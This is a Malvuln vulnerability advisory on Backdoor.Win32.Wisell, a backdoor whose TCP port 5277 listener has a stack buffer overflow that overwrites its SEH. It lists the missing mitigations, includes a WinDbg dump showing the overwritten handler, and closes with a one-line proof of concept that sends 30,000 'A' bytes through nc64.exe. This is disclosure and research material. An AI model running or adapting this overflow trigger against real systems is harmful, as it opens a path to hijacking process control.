Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: Backdoor.Win32.Wisell  
Vulnerability: Stack Buffer Overflow (SEH)   
Description: The malware listens on TCP port 5277. Attackers who can reach the infected system can send a specially crafted packet triggering a stack buffer overflow overwriting the structured exception handler (SEH).  
Family: Wisell  
Type: PE32  
MD5: 837ec70bfb305b5c862ff9b04e70a318  
Vuln ID: MVID-2022-0541  
Dropped files:   
ASLR: Not Enabled  
DEP: Not Enabled  
SEH: Not Enabled  
CFG: Not Enabled  
Disclosure: 04/06/2022  
Memory Dump:  
The stored exception information can be accessed via .ecxr.  
(1598.1748): Stack buffer overflow - code c0000409 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=e748a741 edx=00000000 esi=00000000 edi=00000002  
eip=7770ed3c esp=029bf7e8 ebp=029bf828 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206  
7770ed3c c21400 ret 14h  
0:003> .ecxr  
eax=00000149 ebx=0254f908 ecx=e748a741 edx=00000000 esi=00000001 edi=0000014a  
eip=0040192e esp=029bfe98 ebp=029bff80 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
0040192e 888c0537ffffff mov byte ptr [ebp+eax-0C9h],cl ss:002b:029c0000=??  
0:003> !exchain  
029bf8a0: ntdll!_except_handler4+0 (77716a50)  
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (777557ad)  
029bffcc: 41414141  
Invalid exception stack at 41414141  
python -c "print('A'*30000)" | nc64.exe x.x.x.x 5277  
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